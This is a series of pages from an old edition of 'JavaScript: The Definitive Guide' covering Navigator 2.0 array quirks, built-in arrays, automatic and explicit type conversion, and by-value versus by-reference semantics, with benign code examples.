[Chapter 8] 8.7 Arrays in Navigator 2.0

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.7 Arrays in Navigator 2.0

As noted above, the implementation of arrays in Navigator 2.0 is substantially different than that in either Navigator 3.0 or Internet Explorer 3.0. One of the differences we've seen is that there is no Array() constructor in Navigator 2.0, and so you may want to write your own constructor function. Similarly, you may want to manage the value of a length (or size) property yourself.

But the biggest difference between Navigator 2.0 and 3.0 is in how array elements and object properties interact. In both versions of Navigator, arrays and objects are the same basic data type: objects can have array elements, and arrays can have object properties. The difference is that in Navigator 2.0, elements and properties can overwrite each other; in Navigator 3.0 they can't.

In Navigator 2.0, a newly defined property takes up the "slot" of the next available array element. Thus after executing the following lines, in the Navigator 2.0 browser, person.name is the same as person[0], and person.address is the same as person[1]:

person = new Object();
person.name = "david";
person.address = "somewhere on the internet";

If there are already some array elements defined in the object, then a new property takes up the element after the highest element already defined (even if there are undefined elements with lower indexes). So in the following code, in Navigator 2.0, address.zip is the same as address[4]:

address = new Object();
address[3] = "Anytown, USA";
address.zip = 22222;

The implication of all this is that if you define properties and later set array elements (for example, address[4] = 66666), you may inadvertently be overwriting the value of your properties. This can lead to strange bugs that are difficult to find.

Note that if, for any given object, you use only object properties, or only array elements, then you won't encounter this overlap problem. But, as we've seen, it is common to use a length property (or a size property) in conjunction with arrays. We must be careful to do this correctly. The convention for most Navigator 2.0 JavaScript code is to use array element 0 to hold the length property, and then to begin the array contents themselves with element 1. Thus, in Navigator 2.0 it is common to see array constructors like the one we saw above:

function EmptyArray(length)
{
    this.size = length;
    for(var i = 1; i <= length; i++)
        this[i] = 0;
}

The crucial feature of this constructor is that it assigns a value to the size[3] property before it initializes any of the array elements. Creating this size property uses up element 0 of the array, so the loop initializes the array starting with element 1. If, instead, we had initialized the array and then set the size property, then that property would have been at the end of the array. If we later added more elements to the array, we would overwrite the value of size. Of course, if we know that our array has a fixed size and will never be made larger, then there would be no problem with doing it this way, and it allows us to begin the array with element 0 instead of element 1.

[3] We use a size property here instead of length to avoid confusion with Navigator 3.0 arrays that have an automatically updated length property. By using a different name we won't expect the property to be automatically updated.

As we've seen, another difference between arrays in Navigator 2.0 and 3.0 is that in Navigator 3.0, arrays created with the Array() constructor have their length property automatically updated when new elements are added to the array. If you need this feature in Navigator 2.0, you'll have to implement it yourself. You can do it with code like this:

a[i] = j;
if (i > a.size) a.size = i;
Note that this code fragment assumes the array begins with an index of 1, not 0.

Despite all this discussion of the array length property, and the ways to simulate it in Navigator 2.0, don't forget that there are many algorithms and uses for arrays in which a size or length property is not necessary. When this is possible, you can simply not bother with a size property. If your array has no object properties assigned, you don't have to worry about about overwriting array elements. And when your algorithm does require you to keep track of the size of your array, an obvious alternative to a size property is to maintain the array length in a separate variable, independent of the array. This also avoids the problem of properties overwriting elements.

Finally, one further feature of arrays in Navigator 2.0 is that they can be indexed using object notation. Just as object properties can be accessed with the . operator and a literal property name or the [] operator and a property name expressed as a string, so too can Navigator 2.0 arrays be accessed with either operator. When using the traditional array [] operator, the index can be any expression that evaluates to a positive integer. When using the . operator, the index must be an integer literal. So, in Navigator 2.0, the expression a.2 is legal and is equivalent to a[2]. Using the . operator is not at all recommended--this bizarre feature of the language is deprecated, and has been removed in Navigator 3.0.

Previous | Home | Next
Array Methods | Book Index | Built-in Arrays
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.8 Built-in Arrays

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.8 Built-in Arrays

As we'll see later in this book, client-side JavaScript has quite a few built-in arrays. For example, the elements[] array of the Form object contains references to the buttons, input fields, and other input elements of an HTML form in a web document. JavaScript provides a length property for these built-in arrays in both Navigator 2.0 and Navigator 3.0. It is only user-defined arrays that lack the length property in Navigator 2.0.

Certain built-in arrays may also have special behavior. For example, in Navigator 3.0, the options[] array of the Select object (an HTML form element) allows you to delete an element simply by setting it to null. This is special-case behavior implemented only for this particular array, and is not a general property of arrays. This kind of behavior is documented on a case-by-case basis in this book.

Previous | Home | Next
Arrays in Navigator 2.0 | Book Index | Array Summary
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.9 Array Summary

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.9 Array Summary

JavaScript array creation, usage, and compatibility techniques can be confusing. Here are the main points of this chapter in review:

  • Arrays and objects are the same thing in JavaScript. Any object can have array elements, and any array can have object properties.

  • In Navigator 3.0, there are three methods that can be used to manipulate arrays:

    1. You can can convert an array, and all of its elements into a single string with the Array.join() method.

    2. You can reverse the order of elements in an array with the Array.reverse() method.

    3. You can sort the elements of an array with the Array.sort() method.

  • In Navigator 3.0 and Internet Explorer 3.0, array elements and object properties do not overlap and cannot overwrite each other. There is an Array() constructor, and arrays created with this constructor have a (read-only in IE 3.0) length property that is automatically maintained so that it always contains a value one greater than the largest index of the array.

  • In Navigator 2.0, object properties and array elements overlap; when you create a new property, it is as if you added a new array element one higher than the highest existing element. There is no built-in Array() constructor, but you can write your own. Also, there is no automatically maintained length property, but it is common to reserve element 0 of an array for a size property (which you update yourself as the array grows).

  • For many algorithms, the size of an array is maintained in a variable externally to an array, and there is no need for a length or size property.

  • All arrays in JavaScript are implemented as associative arrays, and can be "sparse"--i.e., they can contain non-contiguous elements. Usually, though, you'll use arrays as if they were non-associative, fixed-size arrays like those found in C, C++, and Java.

Previous | Home | Next
Built-in Arrays | Book Index | Further Topics in JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] Further Topics in JavaScript

JavaScript: The Definitive Guide

Previous Chapter 9 Next

9. Further Topics in JavaScript

Contents:
Automatic Data Type Conversion
Explicit Data Type Conversions
By Value vs. By Reference

This chapter covers miscellaneous JavaScript topics that would have bogged down previous chapters had they been covered there. Now that you have read through the preceding chapters, and are experienced with the core JavaScript language, you are ready to tackle the more advanced and detailed concepts presented here. In fact, you may prefer to move on to other chapters and learn about the specifics of client-side JavaScript at this point. Do be sure to return to this chapter, however. You will not truly understand the workings of the JavaScript language if you have not read the material in this chapter.

9.1 Automatic Data Type Conversion

We've seen that JavaScript is an untyped language. This means, for example, that we don't have to specify the data type of variable when we declare it. The fact that JavaScript is untyped gives it the flexibility and simplicity that are desirable for a scripting language (although those features come at the expense of rigor, which is important for the longer, more complex programs often written in stricter languages like C and Java). Another feature of JavaScript's flexible treatment of data types is the automatic type conversions that it performs. For example, if you call document.write() to output the value of a Boolean value, JavaScript will automatically convert that value to the string "true" or the string "false". Similarly, if you write an if that tests a string value, JavaScript will automatically convert that string to a Boolean value--to false if the string is empty and to true otherwise.

The subsections below explain, in detail, all of the automatic data conversions performed by JavaScript.

Conversions to Strings

Of all the automatic data conversions performed by JavaScript, conversions to strings are probably the most common. Whenever a nonstring value is used in a "string context," JavaScript converts that value to a string. A "string context" is anywhere that a string value is expected. Generally, this means arguments to built-in JavaScript functions and methods. As described above, for example, if we pass a Boolean value to document.write(), it will be converted to a string before being output. Similarly, if we pass a number to this method, it will also be converted to a string before output.

Another common "string context" occurs with the + operator. When + is used with numeric operands, it adds them. When it is used with string operands, however, it concatenates them. When one operand is a string, and one is a nonstring, the nonstring operand will first be converted to a string and then the two strings will be concatenated:

x = 1 + 2;                // yields 3
x = 'hello' + 'world';    // yields 'helloworld'
x = 1 + '2';              // yields '12'
x = true + '3';           // yields 'true3'

Actually, the + operator even works when both operands are of object type: the operands are converted to strings and concatenated. When one operands is an object, and the other is neither an object nor a string, both operands are converted to strings and concatenated:

x = window + 1;             // yields '[object Window]1'
x = window + top;           // yields '[object Window][object Window]'
x = window + true;          // yields '[object Window]true'

The paragraphs above have described the "string contexts" in which values are converted to strings. Here is exactly how that conversion is performed:

  • Numbers are converted to strings in the obvious way: the resulting string contains the digits of the decimal representation of the number. The number 123.45, for example, is converted to the string "123.45".

  • The Boolean value true is converted to the string "true", and the value false is converted to the string "false".

  • In Navigator, functions are converted to strings which consist of the text of the function definition, including the complete body of the function. Thus, a function defined as follows:

    function square(x) { return x*x; }
    is converted to the string:

    "function square(x) {
    return x*x;
}"
    The JavaScript code in the function body may be reformatted during this conversion--note the insertion of newlines in the example above. Similarly, any comments in the original function definition will not appear in the resulting string. An interesting feature of the string conversion of a function is that it is guaranteed to be perfectly legal JavaScript code, and is thus may be passed to the eval() method to be reinterpreted (perhaps in some new context). You should not rely on this, however, because Internet Explorer 3.0 does not include the body of a function when it converts it to a string, and this behavior is not likely to change in future versions.

  • Objects are converted to strings by calling their toString() method. By default, most objects have a toString() method that specifies at least the type of the object. For example, the Window object window is converted to the string "[object Window]". Similarly, the navigator object converts to the string "[object Navigator]". By default, all user-defined objects convert to the vague string "[object Object]".

    Note that you can override the default toString() method for any object, thereby controlling exactly how the object is converted to a string.

  • The null value is converted to the string "null", and the JavaScript undefined value is converted to the string "undefined".

Conversions to Numbers

Just as JavaScript values are automatically converted to strings when used in a "string context," they are automatically converted to numbers when used in a "numeric context." The two numeric contexts are:

  • Numeric arguments to built-in functions and methods (arguments to user-defined functions do not have a type defined, so no conversion is performed).

  • Operands of various arithmetic, comparison, and other operators.

For example, the following lines of code contain non-numeric values in numeric contexts, and cause automatic conversion to occur:

Math.sin("1.45");       // String "1.45" converted to number 1.45
done = sum > "10"       // String "10" converted to number 10
sum = sum + true;       // Boolean value true converted to number 1
total = total - "3";    // String "3" converted to number 3
Note, however, that the following line of code does not cause a numeric conversion to occur.

total = total + "3"
Recall that the + operator adds numbers and concatenates strings. Since there is one string operand in this example, JavaScript interprets the operator as the string concatenation operator, rather than the addition operator. Therefore, there is not a numeric context here, and the string is not converted to a number. In fact, just the opposite occurs: the numeric value total occurs in a string context, and therefore is converted to a string.

JavaScript values are converted to numbers according to the following rules:

  • If a string contains the decimal representation of an integer or floating-point number, with no trailing non-numeric characters, then the string is converted to that number. If the string does not represent a number, or contains trailing characters that are not part of the number, then the attempt to convert it fails, and JavaScript displays an error message. As a special case, the empty string ("") is converted to the number 0.

  • The Boolean value true is converted to the number 1, false to 0.

  • null is converted to the number 0.

  • Objects are converted to numbers by invoking their valueOf() method, if they have one. If the valueOf() method returns a number, that value is the result of the conversion. If valueOf() returns a string or Boolean value, then that value is converted to a number following the rules above. If the valueOf() method returns some other type, or if no such method exists, then the conversion fails, and JavaScript displays an error message.

  • Functions and the undefined value cannot be converted to numbers. Using a function or an undefined value in a numeric context will always cause a error message to be displayed.

Conversions to booleans

When a JavaScript value is used in a "boolean context", it is automatically converted to a boolean value. A "boolean context" is anywhere that a boolean value is expected: boolean arguments to certain built-in methods, the return value from certain event-handlers, and, more commonly, the expressions used by the if statement, the while and for loops, and the conditional (:?) operator.

For example, the following lines of code use the integer i, the string s, and the object o in boolean contexts, and cause those values to be converted to boolean values:

for(i = 10; i; i--) document.write(messages[i]);
response = s?"yes":"no";
if (o) sum += o.value;

In C, there is no boolean type. Integer values are used instead, and just about any value can implicitly be used in a "boolean context". In Java, however, there is a boolean type, and the language does not permit any conversion, implicit or explicit, to boolean values. This means that you need to be very precise with your if and while statement (for example) in Java. JavaScript--like Java--has a boolean type, but--like C--it allows just about any type to be used in a boolean context. If you are a C programmer, you will find the JavaScript boolean conversions intuitive and convenient. The conversions follow these rules:

  • The number 0 is converted to false. All other numbers are converted to true.

  • The empty string ("") is converted to false. All other strings are converted to true.

  • null is converted to false. Non-null objects are converted to the value true, with one exception: if the object has a valueOf() method, and that method returns false, 0, or the empty string, then the object is converted to false.

  • Functions are always converted to the value true.

  • Undefined values are converted to false.

Conversions to Objects

Just as JavaScript values are converted to strings, numbers, and boolean values, when used in the appropriate context, so too are they converted to objects when used in an "object context." This is the most subtle of the automatic conversions, and it is possible to use JavaScript without ever realizing that it is happening. A value is used in an "object context" when you use the . operator to read or write a property of the value or to reference a method of the object. A value is also used in an object context when you use the [] operator to access an array element of the value.

Why would we want to do this? If a value is not already an object, how can it have properties or methods to access, anyway? Consider JavaScript strings, for example. JavaScript defines quite a few methods that can operate on strings. If s is a string, then each of the following lines is legal JavaScript:

len = s.length;
document.write(s.bold());
t = s.substring(2,4);
a = s.split(",");
A string isn't an object, so why can we treat it like one? Are strings simply a special case supported by JavaScript? Are they a special data type that is half object, half primitive type? No. When a JavaScript string is used in an object context, as the strings in the above example are, they are converted to a String object that represents the same underlying value as the original string did. (Note the capitalization convention: the primitive type is a string, the corresponding object is a String.) The String object defines a length property and quite a few methods that perform various operations on the string.

Strings are the primary example of why and when this sort of automatic conversion to an object data type is necessary. But it is occasionally used with other data types as well. For example, JavaScript will convert a function value to a Function object so that you can access the arguments property, which is an array of arguments passed to the function. Also, a numeric value can be converted to a Number object, which allows you to invoke the toString() method of that object, a method that takes an optional argument to specify what base the number should be converted to.

The rules for automatic conversions to objects are particularly straightforward:

  • Strings are converted to String objects.

  • Numbers are converted to Number objects.

  • Boolean values are converted to Boolean objects.

  • Functions are converted to Function objects.

  • null and the undefined value cannot be converted to objects, and cause an error message to be displayed if used in an object context.

The conversion of values to objects is handled quite transparently by JavaScript, and it is often not obvious to a casual programmer that the conversion is happening at all. This is for two reasons. First, the converted objects are transient: suppose a string, for example, is converted to a String object, and a method is invoked on that String object. The String object is never saved into a variable, and so it is used once and then is no longer available to the program (it is "garbage collected" so memory is not wasted). This makes it difficult to even obtain an instance of a String object. To do so, we must explicitly convert our string to String object. We can do this in either of two ways:

s = new String("hello");
s = new Object("hello");
Similarly, we can create Number, Boolean, and Function objects by invoking the Number(), Boolean(), or Function() constructors with our number, boolean, or function value, or, more generally, by invoking the Object() constructor with the value to be converted.

The second reason why conversion to objects is often transparent to programmers is that each of the String, Number, Boolean, and Function objects have toString() methods that are invoked when they are used in a string context, and have valueOf() methods that are invoked when they are used in numeric, boolean, or function contexts. Because the data conversion is so completely automatic, it can be difficult to even distinguish between a value and its corresponding object. The typeof operator provides one way to distinguish primitive values from objects. When invoked on a primitive value, typeof will return one of the strings "string", "number", "boolean", and "function". When invoked on the corresponding object, however, it will return "object":

typeof "hello"               // returns "string"
typeof new String("hello")   // returns "object"

Conversions to Functions

The only time that JavaScript can convert a value to a function is when a Function object is used in a function context (which occurs when you use the () operator to invoke a value.) In this case, the Function object is trivially converted to the primitive function value it represents. Using any value other than a function or a Function object in a function context will cause JavaScript to display an error message.

Data Conversion Summary

While many of the automatic data conversions explained in the subsections above are intuitive, there are so many of them that it can be difficult to keep them all straight. Table 9.1 summarizes each of the possible conversions.

Table 9.1: Automatic Data Type Conversions
 | Used As:
Value: | String | Number | Boolean | Object | Function
non-empty string | - | Numeric value of string, or error | true | String object | error
empty string | - | 0 | false | String object | error
0 | "0" | - | false | Number object | error
NaN | "NaN" | - | true | Number object | error
Infinity | "Infinity" | - | true | Number object | error
Negative Infinity | "-Infinity" | - | true | Number object | error
any other number | string value of number | - | true | Number object | error
true | "true" | 1 | - | Boolean object | error
false | "false" | 0 | - | Boolean object | error
object or array | toString() result, or object type | valueOf() result, or error | valueOf() result, or true | - | error (unless Function obj)
null | "null" | 0 | false | - | error
undefined value | "undefined" | error | false | error | error
function | Complete function text | error | true | Function object | -

Previous | Home | Next
Array Summary | Book Index | Explicit Data Type Conversions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.2 Explicit Data Type Conversions

JavaScript: The Definitive Guide

Previous Chapter 9
Further Topics in JavaScript 		Next

9.2 Explicit Data Type Conversions

The section above described all of the automatic data type conversions performed by JavaScript. Sometimes, however, you will want to explicitly convert a value from one type to another. For example, instead of repeatedly using a number in a string context, and relying on JavaScript to convert it to a string, you might prefer (for efficiency) to convert the number to a string a single time and then repeatedly use the converted value. Or, you might simply prefer to make your data type conversions explicit so that your code is easier to understand.

JavaScript does not have a cast operator, a mechanism often used in C, C++, and Java to convert values from one type to another. To force a conversion in JavaScript, you must generally invoke a function or method. The sections below show how you can do this.

Conversions to and from Objects

We saw in the section on automatic conversions that all objects have a toString() method that provides at least a default string conversion for each object type. Similarly, many objects define a valueOf() method that returns the primitive type equivalent of the object. Although these methods are invoked automatically under certain appropriate circumstances, there is nothing to prevent you from using them explicitly to convert objects. For example, you might use lines of code like the following to perform explicit conversions of Date objects:

message = "Today is: " + today.toString();
elapsed_time = end_time.valueOf() - start_time.valueOf();

Also remember that primitive types are automatically converted to objects when used in an object context, so you can invoke the toString() method on a primitive type to explicitly convert it to a string. For example:

// define one of our functions in a new document in a new window
newwin.document.write('<script>' + myfunc.toString() + '</' + 'script>');
Note that because of syntactic constraints in JavaScript, you can't directly invoke the toString() method on a numeric literal (although you can on string and Boolean literals). You must enclose the number in parentheses, or must first assign it to a variable:

321.toString();          // this is a syntax error
(123).toString();        // this is okay
a = 45; a.toString();    // also okay
true.toString();         // this works fine

Although you may less frequently need to do it, you can also explicitly convert primitive values to their corresponding String, Number, Boolean, and Function object values. You can use the constructor methods for each of these object types, or you can simply use the Object() constructor instead:

func_obj = new Object(my_func);    // these two lines are equivalent
func_obj = new Function(my_func);

Converting Numbers to Strings

The number-to-string conversion is probably the one most often performed in JavaScript. Although it usually happens automatically, there are a couple of useful ways to perform this conversion explicitly. Perhaps the simplest is to add the empty string to a number. This forces the number to be converted (because it is used in a string context) and concatenated with nothing:

string_value = number + "";

Another technique for converting numbers to strings is with the toString() method, as we saw above:

string_value = number.toString();
The toString() method of the Number object (numbers are converted to Number objects so that this method can be called) takes an optional argument that specifies a radix, or base, for the conversion. If you do not specify the argument, the conversion will be done in base 10. But you can also convert numbers in other bases (between 2 and 16) as well. For example:

binary_string = n.toString(2);
octal_string = "0" + n.toString(8);
hex_string = "0x" + n.toString(16);

A shortcoming of JavaScript is that there is no built-in way to convert a number to a string and specify the number of decimal places to be included. This can make it a little difficult to display numbers that represent monetary values, and which have a traditional format. In fact, JavaScript lacks any kind of numeric formatting function, so it is not possible to specify whether exponential notation should be used or not, nor whether leading zeros should be displayed, and so on.

Converting Strings to Numbers

We've seen that strings that represent numbers are automatically converted to actual numbers when used in a numeric context. We can make this conversion explicit by choosing the numeric context we use. Just as we can convert a number to a string by adding the empty string to it, we can convert a string to a number by subtracting zero from it:

numeric_value = string_value - 0;
We can't add zero, of course, because in that case the + operator would be interpreted as the string concatenation operator.

The trouble with this sort of string-to-number conversion is that it is overly strict. It works only with base-10 numbers, and only when the string contains nothing but leading spaces and numbers, with no trailing characters, not even trailing spaces. To allow more flexible conversions, you can use the parseInt() and parseFloat() functions. These convert and return any number at the beginning of a string, ignoring any trailing non-numbers. parseInt() only parses integers, and parseFloat() parses both integers and floating-point numbers. If a number begins with 0, parseInt() interprets it as an octal number. If it begins with 0x or 0X, parseInt() interprets it as a hexadecimal number.

parseInt("3 blind mice");      // returns 3
parseFloat("3.14 meters");     // returns 3.14
parseInt("12.34");             // returns 12
parseInt("077");               // returns 63 (7*8 + 7)
parseInt("0xFF");              // returns 255
parseInt() can even take a second argument, which specifies the radix (base) of the number to be parsed. Legal values are between 2 and 36. For example:

parseInt("11", 2);             // returns 3 (1*2 + 1)
parseInt("ff", 16);            // returns 255 (15*16 + 15)
parseInt("zz", 36);            // returns 1295 (35*36 + 35)
If parseInt() or parseFloat() cannot convert the specified string to a number, they return NaN in Navigator 3.0 (and on Unix platforms in Navigator 2.0). On Navigator 2.0 non-Unix platforms and in Internet Explorer 3.0, these functions return 0 in this case, which makes it impossible to distinguish between the legal string "0" and an a string that does not represent a number. A future version of IE will correctly support the NaN return value.

parseInt("eleven");            // returns NaN (or 0)
parseFloat("$72.47");          // returns NaN (or 0)

Finally, you can also convert strings to numbers (and to other types) with the eval() method. This method interprets an arbitrary JavaScript expression and returns the result (which may be of any JavaScript type). For example:

eval("3.14");                  // returns 3.14
eval("2 * 3.14 * radius");     // returns the result of the multiplication
eval("radius > 3");            // returns true or false
Note that you rarely actually need to use eval()--generally, your JavaScript expressions occur in JavaScript code itself, not in strings that are later evaluated!

Miscellaneous Conversions

JavaScript does not contain any built-in conversion functions other than those described above. You can write your own JavaScript code to perform certain conversions for you, however. To explicitly convert between boolean values and numeric values, for example, you could use expressions like the following:

b?1:0              // converts a boolean, b, to a number
(x==0)?false:true  // converts a number, x, to a boolean

You may write your own code for custom data conversions. For example, to convert a boolean value to either the string "yes" or "no", you might use:

(reply)?"yes":"no"
To convert an arbitrary value to a string, you might write a function like the following, which follows some custom rules:

function convert_to_string(x)
{
    if (x == null) return "";
    if (typeof x == "boolean") return x?"on":"off";
    if (typeof x == "function") return "[function]";
    return x.toString();
}

Previous | Home | Next
Automatic Data Type Conversion | Book Index | By Value vs. By Reference
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.3 By Value vs. By Reference

JavaScript: The Definitive Guide

Previous Chapter 9
Further Topics in JavaScript 		Next

9.3 By Value vs. By Reference

In JavaScript, and all programming languages, there are three important ways that you can manipulate a data value. First, you can copy it, by assigning it to a new variable, for example. Second, you can pass it as an argument to a function or method. Third, you can compare it with another value to see if the two values are equal. In order to understand any programming language, you must understand how these three operations are performed in that language.

There are two fundamentally distinct techniques in which data values can be manipulated. These techniques are called "by value" and "by reference." When a value is manipulated "by value" it is the value of the datum that matters: in an assignment, a copy of the actual value is made and that copy is stored in a variable or object property or array element; the copy and the original are two totally independent values that are stored separately. When a datum is passed "by value" to a function, a copy of the datum is passed to the function; if the function modifies that value, the change affects only the function's copy of the datum--it does not affect the original datum. And when a datum is compared "by value" to another datum, the two distinct pieces of data must represent exactly the same value (which usually means that a byte-by-byte comparison finds them to be equal).

The other way of manipulating a datum is "by reference." With this technique, there is only one actual copy of the datum, and it is references to that datum that are manipulated.[1] When a datum is manipulated "by reference," there is only ever one copy of the actual value. If a value is manipulated "by reference," then variables do not hold that value directly; they only hold references to it. It is these references that are copied, passed, and compared.

[1] C programmers, and anyone else familiar with the concept of "pointers," will understand the idea of a "reference" in this context. Note, however, that JavaScript does not support pointers.

So, in an assignment made "by reference," it is the reference to the value that is assigned, not a copy of the value, and not the value itself. After the assignment, the new variable will contain the same reference to the value that the original variable contains. Both references are equally valid, and both can be used to manipulate the value--if the value is changed through one reference, that change will also appear through the original reference. The situation is similar when a datum is passed to a function "by reference:" a reference to the value is passed to the function, and the function can use that reference to modify the value itself; any such modifications will be visible outside the function. And finally, when a datum is compared to another "by reference," the two references are compared to see if they refer to the same unique copy of a value; references to two distinct datums that happen to have the same value (consist of the same bytes) will not be treated as equal.

These are two very different ways of manipulating values, and they have very important implications that you should understand. Table 9.2 summarizes these implications. This discussion of manipulating data "by value" and "by reference" has been a general one: the distinctions apply to all programming languages. The subsections that follow explain how they apply specifically to JavaScript--which data types are manipulated by value and which are manipulated by reference.

Table 9.2: By Value versus By Reference
 | By Value | By Reference
Copy | The value is actually copied; there are two distinct, independent copies. | Only a reference to the value is copied. If the value is modified through the new reference, that change is also visible through the original reference.
Pass | A distinct copy of the value is passed to the function; changes to it have no effect outside the function. | A reference to the value is passed to the function. If the function modifies the value through the passed reference, the modification is visible outside the function.
Compare | Two distinct values are compared (often byte by byte) to see if they are the same value. | Two references are compared to see if they refer to the same value. Two references to distinct values are not equal, even if the two values consist of the same bytes.

Primitive Types and Reference Types

The basic rule in JavaScript is this: primitive types are manipulated by value, and reference types, as the name suggests, are manipulated by reference. Numbers and Booleans are primitive types in JavaScript--primitive because the consist of nothing more than a small fixed number of bytes, bytes that are very easily manipulated at the low (primitive) levels of the JavaScript interpreter. On the other hand, objects and arrays are reference types. These data types can contain arbitrary numbers of properties or elements, and so can be of arbitrary size, and cannot be so easily manipulated. Since object and array values can become quite large, it doesn't make sense to manipulate these types by value, which could involve the inefficient copying and comparing of large amounts of memory.

What about strings and functions? These types may have arbitrary length, and so it would seem that they would be reference types. In fact, though, they are usually considered to be primitive types in JavaScript, simply for the reason that they are not objects or arrays. Strings and functions do not follow the "primitive types by value and reference types by reference" rule presented above, and will be discussed in a section of their own later in this chapter.

Examples using primitive and reference types are the best way to explore the differences between data manipulation by value and data manipulation by reference. Study the following examples carefully, paying attention to the comments. First, Example 9.1 copies, passes, and compares numbers. Since numbers are primitive types, this illustrates data manipulation by value.

Example 9.1: Copying, Passing, and Comparing by Value

// First we illustrate copy by value.
n = 1;            // variable n holds the value 1
m = n;            // copy by value:  variable m holds a distinct value 1
// Here's a function we'll use to illustrate pass-by-value.
// As we'll see, the function doesn't work the way we'd like it to.
function add_to_total(total, x)
{
    total = total + x;  // this line only changes the internal copy of total
}
// Now call the function, passing the numbers contained in n and m by value.
// The value of n is copied, and that copied value is named total within the
// function. The function adds a copy of m to that copy of n. But adding
// something to a copy of n doesn't affect the original value of n outside
// of the function. So calling this function doesn't accomplish anything.
add_to_total(n, m);
// Now, we'll look at comparison by value.
// In the line of code below, the literal 1 is clearly a distinct numeric
// value encoded in the program. We compare it to the value held in variable
// n. In comparison by value, the bytes of the two numbers are checked to
// see if they are the same.
if (n == 1) m = 2;      // n contains the same value as the literal 1

Next, consider Example 9.2. This example copies, passes, and compares an object. Since objects are reference types, these manipulations are performed "by reference." The example uses Date objects, which you can read about in the reference section of this book, if necessary.

Example 9.2: Copying, Passing, and Comparing by Reference

// Here we create an object representing the date of Christmas, 1996.
// The variable xmas contains a reference to the object, not the object itself.
xmas = new Date(96, 11, 25);
// When we copy by reference, we get a new reference to the original object.
solstice = xmas;     // both variables now refer to the same object value
// Here we change the object through our new reference to it
solstice.setDate(21);
// The change is visible through the original reference, as well.
xmas.getDate();      // returns 21, not the original value of 25
// The same is true when objects and arrays are passed to functions.
// The following function adds a value to each element of an array.
// A reference to the array is passed to the function, not a copy of the array.
// Therefore, the function can change the contents of the array through
// the reference, and those changes will be visible when the function returns.
function add_to_totals(totals, x)
{
    totals[0] = totals[0] + x;
    totals[1] = totals[1] + x;
    totals[2] = totals[2] + x;
}
// Finally, we'll examine comparison by value.
// When we compare the two variables defined above, we find they are
// equal, because the refer to the same object, even though we were trying
// to make them refer to different dates:
(xmas == solstice)           // evaluates to true
// The two variables defined below refer to two distinct objects, both
// of which represent exactly the same date.
xmas = new Date(96, 11, 25);
solstice_plus_4 = new Date(96, 11, 25);
// But, by the rules of "compare by reference," distinct objects not equal!
(xmas != solstice_plus_4)    // evaluates to true

Before we leave the topic of manipulating objects and arrays by reference, there is a point about passing values by reference that it is important to get straight. When an object is passed to a function, it is a reference to the object that is passed, not a copy of the object's actual value. As we've seen in Example 9.2 this means that we can modify the object's value through the reference, and these modifications will be visible when the function returns. What we cannot do, and this is where confusion can arise, is modify the reference itself. The function is passed a copy of the reference to the object (in a sense, the reference itself is "passed by value"). If the function changes its copy of the reference, that change does not affect the object value nor the original reference to the object, and the change will not be visible outside of the function. Example 9.3 illustrates this.

Example 9.3: References Themselves Are Passed by Value

// This is another version of the add_to_totals() function. It doesn't
// work, through, because instead of changing the array itself, it tries to
// change the reference to the array.
function add_to_totals2(totals, x)
{
    newtotals = new Array(3);
    newtotals[0] = totals[0] + x;
    newtotals[1] = totals[1] + x;
    newtotals[2] = totals[2] + x;
    totals = newtotals;  // this line has no effect outside of the function.
}

Note that this rule applies not only to pass-by-reference, but also copy-by-reference. You can modify an object through a copy of a reference, but changing the copied reference itself does not affect the object nor the original reference to the object. This is a more intuitive and less confusing case, so we don't illustrate it with an example.

Copying and Passing Strings and Functions

As mentioned in the previous section, strings and functions in JavaScript don't fit neatly into the primitive-type versus reference-type dichotomy. For most purposes, strings and functions are considered primitive types by default--because they are not objects or arrays. If they are primitive types, then by the rules given above, they should be manipulated by value. But since a string can be arbitrarily long, and a function can contain an arbitrary amount of JavaScript code, these types do not have a fixed size, and it would be inefficient to copy, pass, and compare these data types byte by byte.

Since it is unclear whether JavaScript copies and passes strings and functions by value or by reference, we can try to write some JavaScript code to experiment with these data types. If they are copied and passed by reference, then we should be able to modify the contents of a string or function value through a copy of the value or a through a function that takes the value as an argument. When we set out to write the code to perform this experiment and determine whether strings and functions are copied and passed by reference, we run into a major stumbling block: there is no way to modify the contents of a string or a function. We can modify the contents of an object or an array by setting object properties or array elements. But strings and functions are immutable in JavaScript--that is, there is no JavaScript syntax, or JavaScript functions, methods, or properties that allow you to change the characters in the string or the code in the function.

Since strings and functions are immutable, our original question is moot: there is no way to tell if strings and functions are passed by value or by reference. Because of efficiency considerations, we can assume that JavaScript is implemented so that strings and functions are passed by reference, but in actuality it doesn't matter, since it has no practical bearing on the code we write.

Comparing Strings and Functions

Despite the fact that we cannot determine whether strings and functions are copied and passed by value or by reference, we can write JavaScript code to determine whether they are compared by value or by reference. Example 9.4 shows the code we might use to make this determination.

Example 9.4: Are Strings and Functions Compared by Value or by Reference?

// Determining whether strings are compared by value or reference is easy.
// We compare two clearly distinct strings that happen to contain the same
// characters. If they are compared by value they will be equal, but if they
// are compared by reference, they will not be equal:
s1 = "hello";
s2 = "hell" + "o";
if (s1 == s2) document.write("Strings compared by value");
// Determining whether functions are compared by value or reference is trickier,
// because we cannot define two functions with the same name. Therefore, we
// have to use unnamed functions. Don't feel you have to understand this code.
// We create two distinct functions that contain exactly the same code.
// If JavaScript says these two functions are equal, then functions are
// compared by value, otherwise they are compared by reference.
F = new Function("return 1;"); // F and G are Function objects that contain
G = new Function("return 1;"); //    unnamed function values.
f = F.valueOf();               // convert F and G to the actual function values
g = G.valueOf();
if (f == g)                    // now compare them
    document.write("Functions compared by value");

